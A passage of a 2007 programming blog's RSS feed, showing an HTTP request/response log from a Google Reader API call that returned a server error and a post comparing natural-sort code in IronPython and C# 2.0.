      <pubDate>Sun, 30 Dec 2007 23:19:21 GMT</pubDate>
      <description>&lt;p&gt;
&lt;strong&gt;REQUEST:&lt;/strong&gt; 
&lt;/p&gt;
&lt;p&gt;
POST /reader/api/0/subscription/edit HTTP/1.1 
&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded 
&lt;br /&gt;
Host: www.google.com 
&lt;br /&gt;
Cookie: SID=DQAAAHoAAD4SjpLSFdgpOrhM8Ju-JL2V1q0aZxm0vIUYa-p3QcnA0wXMoT7dDr7c5FMrfHSZtxvDGcDPTQHFxGmRyPlvSvrgNe5xxQJwPlK_ApHWhzcgfOWJoIPu6YuLAFuGaHwgvFsMnJnlkKYtTAuDA1u7aY6ZbL1g65hCNWySxwwu__eQ 
&lt;br /&gt;
Content-Length: 182 
&lt;br /&gt;
Expect: 100-continue
&lt;/p&gt;
&lt;p&gt;
s=http%3a%2f%2fwww.icerocket.com%2fsearch%3ftab%3dblog%26q%3dlink%253A25hoursaday.com%252Fweblog%2b%26rss%3d1&amp;amp;ac=subscribe&amp;amp;T=wAxsLRcBAAA.ucVzEgL9y7YfSo5CU5omw.w1BCzXzXHsyicU9R3qWgQ
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;RESPONSE:&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font color="#ff0000"&gt;HTTP/1.1 200 OK 
&lt;br /&gt;
&lt;/font&gt;Content-Type: text/html; charset=UTF-8 
&lt;br /&gt;
Set-Cookie: GRLD=UNSET;Path=/reader/ 
&lt;br /&gt;
Transfer-Encoding: chunked 
&lt;br /&gt;
Cache-control: private 
&lt;br /&gt;
Date: Sun, 30 Dec 2007 23:08:51 GMT 
&lt;br /&gt;
Server: GFE/1.3
&lt;/p&gt;
&lt;p&gt;
&lt;font color="#ff0000"&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;500 Server Error&amp;lt;/title&amp;gt;&lt;/font&gt; 
&lt;br /&gt;
&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt; 
&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; body {font-family: arial,sans-serif} 
&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; div.nav {margin-top: 1ex} 
&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; div.nav A {font-size: 10pt; font-family: arial,sans-serif} 
&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; span.nav {font-size: 10pt; font-family: arial,sans-serif;
font-weight: bold} 
&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; div.nav A,span.big {font-size: 12pt; color: #0000cc} 
&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; div.nav A {font-size: 10pt; color: black} 
&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; A.l:link {color: #6f6f6f} 
&lt;br /&gt;
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt; 
&lt;br /&gt;
&amp;lt;body text=&amp;quot;#000000&amp;quot; bgcolor=&amp;quot;#ffffff&amp;quot;&amp;gt;&amp;lt;table border=&amp;quot;0&amp;quot;
cellpadding=&amp;quot;2&amp;quot; cellspacing=&amp;quot;0&amp;quot; width=&amp;quot;100%&amp;quot;&amp;gt;&amp;lt;/table&amp;gt; 
&lt;br /&gt;
&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td rowspan=&amp;quot;3&amp;quot; width=&amp;quot;1%&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;font
face=&amp;quot;times&amp;quot; color=&amp;quot;#0039b6&amp;quot; size=&amp;quot;10&amp;quot;&amp;gt;G&amp;lt;/font&amp;gt;&amp;lt;font
face=&amp;quot;times&amp;quot; color=&amp;quot;#c41200&amp;quot; size=&amp;quot;10&amp;quot;&amp;gt;o&amp;lt;/font&amp;gt;&amp;lt;font
face=&amp;quot;times&amp;quot; color=&amp;quot;#f3c518&amp;quot; size=&amp;quot;10&amp;quot;&amp;gt;o&amp;lt;/font&amp;gt;&amp;lt;font
face=&amp;quot;times&amp;quot; color=&amp;quot;#0039b6&amp;quot; size=&amp;quot;10&amp;quot;&amp;gt;g&amp;lt;/font&amp;gt;&amp;lt;font
face=&amp;quot;times&amp;quot; color=&amp;quot;#30a72f&amp;quot; size=&amp;quot;10&amp;quot;&amp;gt;l&amp;lt;/font&amp;gt;&amp;lt;font
face=&amp;quot;times&amp;quot; color=&amp;quot;#c41200&amp;quot; size=&amp;quot;10&amp;quot;&amp;gt;e&amp;lt;/font&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt; 
&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt; 
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td bgcolor=&amp;quot;#3366cc&amp;quot;&amp;gt;&amp;lt;font face=&amp;quot;arial,sans-serif&amp;quot;
color=&amp;quot;#ffffff&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Error&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt; 
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt; 
&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;font color="#ff0000"&gt;&amp;lt;h1&amp;gt;Server Error&amp;lt;/h1&amp;gt; 
&lt;br /&gt;
The server encountered a temporary error and could not complete your request.&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
Please try again in 30 seconds.&lt;/font&gt; 
&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/blockquote&amp;gt; 
&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot; cellpadding=&amp;quot;0&amp;quot; cellspacing=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td
bgcolor=&amp;quot;#3366cc&amp;quot;&amp;gt;&amp;lt;img alt=&amp;quot;&amp;quot; width=&amp;quot;1&amp;quot; height=&amp;quot;4&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt; 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=f22f165d-8b6d-4e57-9a42-8500c221c786" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,f22f165d-8b6d-4e57-9a42-8500c221c786.aspx</comments>
      <category>Platforms</category>
      <category>Programming</category>
      <category>XML Web Services</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=afb058c5-04d5-4b35-a4fe-87245af58b8f</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,afb058c5-04d5-4b35-a4fe-87245af58b8f.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,afb058c5-04d5-4b35-a4fe-87245af58b8f.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=afb058c5-04d5-4b35-a4fe-87245af58b8f</wfw:commentRss>
      <slash:comments>6</slash:comments>
      <title>Natural Sort in IronPython vs. C# 2.0</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,afb058c5-04d5-4b35-a4fe-87245af58b8f.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/12/13/NaturalSortInIronPythonVsC20.aspx</link>
      <pubDate>Thu, 13 Dec 2007 17:23:03 GMT</pubDate>
      <description>&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
Jeff Atwood has a blog post entitled &lt;a href="http://www.codinghorror.com/blog/archives/001018.html"&gt;Sorting
for Humans : Natural Sort Order&lt;/a&gt;&lt;a href="http://www.codinghorror.com/blog/archives/001018.html"&gt;&lt;/a&gt;&amp;nbsp;where
he writes 
&lt;/p&gt;
&lt;blockquote dir="ltr" style="MARGIN-RIGHT: 0px"&gt; 
&lt;p&gt;
&lt;em&gt;The default sort functions in almost every programming language are &lt;b&gt;poorly
suited for human consumption&lt;/b&gt;. What do I mean by that? Well, consider the difference
between sorting filenames in Windows explorer, and sorting those very same filenames
via &lt;code&gt;Array.Sort()&lt;/code&gt; code: &lt;/em&gt;
&lt;br /&gt;
&lt;em&gt;&amp;hellip;&lt;/em&gt;
&lt;br /&gt;
&lt;em&gt;Implementing a natural sort is more complex than it seems, and not just for &lt;/em&gt;&lt;a href="http://www.codinghorror.com/blog/archives/000813.html"&gt;&lt;em&gt;the
gnarly i20n&lt;/em&gt;&lt;/a&gt;&lt;em&gt; issues I've hinted at, above. But the Python implementations
are impressively succinct&lt;br /&gt;
&amp;hellip;&lt;br /&gt;
I tried to come up with a clever, similarly succinct C# 3.0 natural sort implementation,
but I failed. I'm not interested in a one-liner contest, necessarily, but it does
seem to me that a basic natural sort shouldn't require the 40+ lines of code it takes
in most languages.&lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
Since I&amp;rsquo;m still in my &amp;ldquo;learning Python by mapping it to C#&amp;rdquo; phase
I thought this should be a straightforward task. Below is the equivalent IronPython
code for natural sort which is slightly modified from the code posted in Jeff&amp;rsquo;s
post along with what I hoped&amp;nbsp;to be&amp;nbsp;a succint version in C# 2.0. It would
definitely be shorter in C# 3.0 [which I don&amp;rsquo;t plan to start using for another
year or so]. The Python snippet below takes advantage of &lt;a href="http://docs.python.org/tut/node7.html#SECTION007800000000000000000"&gt;some
interesting rules around comparing lists of objects&lt;/a&gt; which don&amp;rsquo;t exist in
C#. I&amp;rsquo;m sure I could reduce the size of the C# code while maintaining readability
but my procrastination time is over and I need to get to work. &lt;img title="Wink" style="VERTICAL-ALIGN: middle" alt="Wink" src="http://shared.live.com/QGncRMHLLpIcOfCh--4aMA/emoticons/smile_wink.gif" /&gt; 
&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Natural Sort in IronPython&lt;/strong&gt;
&lt;/p&gt;
&lt;blockquote dir="ltr" style="MARGIN-RIGHT: 0px"&gt;&lt;code&gt; 
&lt;p&gt;
import re 
&lt;/p&gt;
&lt;p&gt;
def sort_nicely( l ): 
&lt;br /&gt;
&amp;nbsp; """ Sort the given list in the way that humans expect.&amp;nbsp;"""&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&amp;nbsp; convert = lambda x: x.isdigit() and int(x) or x 
&lt;br /&gt;
&amp;nbsp; alphanum = lambda key: [ convert(c) for c in re.split('([0-9]+)', key) ] 
&lt;br /&gt;
&amp;nbsp; l.sort( key=alphanum ) &lt;font color="#009f00"&gt;#serious magic happens here&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp; return l
&lt;/p&gt;
&lt;p&gt;
print sort_nicely(["z22.txt", "z5.txt" , "z.txt", "z10.txt", "z300.txt", "z2.txt",
"z11.txt", "y.txt",&amp;nbsp;"z",&amp;nbsp;"z4.txt", "za.txt"&amp;nbsp;])
&lt;/p&gt;
&lt;/code&gt;&lt;/blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;Natural Sort in C# 2.0&lt;/strong&gt; &lt;blockquote dir="ltr" style="MARGIN-RIGHT: 0px"&gt;
&lt;br /&gt;
&lt;code&gt;&lt;font size="2"&gt;&lt;font color="#0000ff" size="2"&gt;using&lt;/font&gt;&lt;font size="2"&gt; System;&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;using&lt;/font&gt;&lt;font size="2"&gt; System&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Collections&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Generic;&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;using&lt;/font&gt;&lt;font size="2"&gt; System&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Text&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;RegularExpressions;&lt;/font&gt;&lt;/font&gt;&lt;/code&gt; 
&lt;br /&gt;
&lt;code&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;
&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;public&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;class&lt;/font&gt;&lt;font size="2"&gt; Test
{&lt;/font&gt;&lt;/font&gt;&lt;/code&gt;&lt;code&gt;&lt;font size="2"&gt;&lt;font size="2"&gt; 
&lt;br /&gt;
&lt;br /&gt;
&lt;/font&gt;&lt;font color="#808080" size="2"&gt;&amp;nbsp;&amp;nbsp; ///&amp;lt;summary&amp;gt;&lt;/font&gt;&lt;font color="#008000" size="2"&gt;Compare
two lists of strings using Python rules and natural order semantics&lt;/font&gt;&lt;font color="#808080" size="2"&gt;&amp;lt;/summary&amp;gt;&lt;br /&gt;
&lt;/font&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp; public&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;static&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;int&lt;/font&gt;&lt;font size="2"&gt; NaturalCompare(&lt;/font&gt;&lt;font color="#2b91af" size="2"&gt;IList&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;gt;&lt;/font&gt;&lt;font size="2"&gt; a, &lt;/font&gt;&lt;font color="#2b91af" size="2"&gt;IList&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;gt;&lt;/font&gt;&lt;font size="2"&gt; b)
{&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int&lt;/font&gt;&lt;font size="2"&gt; y,
z, len &lt;/font&gt;&lt;font color="#800080" size="2"&gt;=&lt;/font&gt;&lt;font size="2"&gt; (a&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Count &lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;lt;&lt;/font&gt;&lt;font size="2"&gt; b&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Count &lt;/font&gt;&lt;font color="#800080" size="2"&gt;?&lt;/font&gt;&lt;font size="2"&gt; a&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Count
: b&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Count);&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;/font&gt;
&lt;br /&gt;
&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for&lt;/font&gt;&lt;font size="2"&gt; (&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;int&lt;/font&gt;&lt;font size="2"&gt; i &lt;/font&gt;&lt;font color="#800080" size="2"&gt;=&lt;/font&gt;&lt;font size="2"&gt; 0;
i &lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;lt;&lt;/font&gt;&lt;font size="2"&gt; len; i&lt;/font&gt;&lt;font color="#800080" size="2"&gt;++&lt;/font&gt;&lt;font size="2"&gt;)
{&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if&lt;/font&gt;&lt;font size="2"&gt; (a[i]&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Equals(b[i])) &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;continue&lt;/font&gt;&lt;font size="2"&gt;;&lt;/font&gt;&lt;font size="2"&gt; 
&lt;br /&gt;
&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bool&lt;/font&gt;&lt;font size="2"&gt; w &lt;/font&gt;&lt;font color="#800080" size="2"&gt;=&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#2b91af" size="2"&gt;Int32&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;TryParse(a[i], &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;out&lt;/font&gt;&lt;font size="2"&gt; y),
x &lt;/font&gt;&lt;font color="#800080" size="2"&gt;=&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#2b91af" size="2"&gt;Int32&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;TryParse(b[i], &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;out&lt;/font&gt;&lt;font size="2"&gt; z);&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bool&lt;/font&gt;&lt;font size="2"&gt; bothNumbers &lt;/font&gt;&lt;font color="#800080" size="2"&gt;=&lt;/font&gt;&lt;font size="2"&gt; w &lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;amp;&amp;amp;&lt;/font&gt;&lt;font size="2"&gt; x,
bothNotNumbers &lt;/font&gt;&lt;font color="#800080" size="2"&gt;=&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#800080" size="2"&gt;!&lt;/font&gt;&lt;font size="2"&gt;w &lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;amp;&amp;amp;&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#800080" size="2"&gt;!&lt;/font&gt;&lt;font size="2"&gt;x;&lt;/font&gt;&lt;font size="2"&gt; 
&lt;br /&gt;
&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if&lt;/font&gt;&lt;font size="2"&gt; (bothNumbers) &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;return&lt;/font&gt;&lt;font size="2"&gt; y&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;CompareTo(z);&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;if&lt;/font&gt;&lt;font size="2"&gt; (bothNotNumbers) &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;return&lt;/font&gt;&lt;font size="2"&gt; a[i]&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;CompareTo(b[i]);&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;if&lt;/font&gt;&lt;font size="2"&gt; (w) &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;return&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#800080" size="2"&gt;-&lt;/font&gt;&lt;font size="2"&gt;1;&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;return&lt;/font&gt;&lt;font size="2"&gt; 1; &lt;/font&gt;&lt;font color="#008000" size="2"&gt;//numbers
always less than words or letters 
&lt;br /&gt;
&lt;/font&gt;&lt;font size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return&lt;/font&gt;&lt;font size="2"&gt; (a&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Count.CompareTo(&lt;/font&gt;&lt;font size="2"&gt;b&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Count&lt;/font&gt;&lt;font size="2"&gt;)); &lt;/font&gt;&lt;font color="#008000" size="2"&gt;//subset
list is&amp;nbsp;considered smaller&amp;nbsp;&lt;br /&gt;
&lt;/font&gt;&lt;font size="2"&gt;&amp;nbsp; }&lt;/font&gt;&lt;font size="2"&gt; 
&lt;br /&gt;
&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp; public&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;static&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#2b91af" size="2"&gt;List&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;gt;&lt;/font&gt;&lt;font size="2"&gt; SortNicely(&lt;/font&gt;&lt;font color="#2b91af" size="2"&gt;List&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;gt;&lt;/font&gt;&lt;font size="2"&gt; list)
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Regex re &lt;/font&gt;&lt;font color="#800080" size="2"&gt;=&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;new&lt;/font&gt;&lt;font size="2"&gt; Regex(&lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"([0-9]+)"&lt;/font&gt;&lt;font size="2"&gt;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; list&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Sort(&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;delegate&lt;/font&gt;&lt;font size="2"&gt;(&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font size="2"&gt; x, &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font size="2"&gt; y)
{ &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;return&lt;/font&gt;&lt;font size="2"&gt; NaturalCompare(re&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Split(x),
re&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;Split(y)); });&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return&lt;/font&gt;&lt;font size="2"&gt; list;&lt;br /&gt;
&amp;nbsp; }&lt;/font&gt; 
&lt;br /&gt;
&lt;font size="2"&gt;
&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp; public&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;static&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;void&lt;/font&gt;&lt;font size="2"&gt; Main(&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font size="2"&gt;[]
args) {&lt;br /&gt;
&lt;/font&gt;&lt;font color="#2b91af" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; List&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;gt;&lt;/font&gt;&lt;font size="2"&gt; l &lt;/font&gt;&lt;font color="#800080" size="2"&gt;=&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;new&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#2b91af" size="2"&gt;List&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font color="#800080" size="2"&gt;&amp;gt;&lt;/font&gt;&lt;font size="2"&gt;(&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;new&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font size="2"&gt;[]
{ &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"z.txt"&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"y.txt"&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"z22.txt"&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"z5.txt"&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"z10.txt"&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"z3.txt"&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"z2.txt"&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"za.txt"&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"z11.txt"&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;"z400.txt"&lt;/font&gt;&lt;font size="2"&gt; });&lt;br /&gt;
&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach&lt;/font&gt;&lt;font size="2"&gt; (&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;string&lt;/font&gt;&lt;font size="2"&gt; s &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;in&lt;/font&gt;&lt;font size="2"&gt; SortNicely(l)) &lt;/font&gt;&lt;font color="#2b91af" size="2"&gt;Console&lt;/font&gt;&lt;font color="#800080" size="2"&gt;.&lt;/font&gt;&lt;font size="2"&gt;WriteLine(s);&lt;br /&gt;
&amp;nbsp; }&lt;br /&gt;
}&lt;br /&gt;
&lt;/font&gt;&lt;/font&gt;&lt;/code&gt;&lt;/blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;Now playing:&lt;/strong&gt; &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Notorious B.I.G."&gt;Notorious
B.I.G.&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Real Niggas Do Real Things&amp;amp;artistTerm=Notorious B.I.G."&gt;Real
N*ggas Do Real Things&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=afb058c5-04d5-4b35-a4fe-87245af58b8f" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,afb058c5-04d5-4b35-a4fe-87245af58b8f.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=c7fa2809-79d1-4773-8799-e349c88e6367</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,c7fa2809-79d1-4773-8799-e349c88e6367.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,c7fa2809-79d1-4773-8799-e349c88e6367.aspx</wfw:comment>
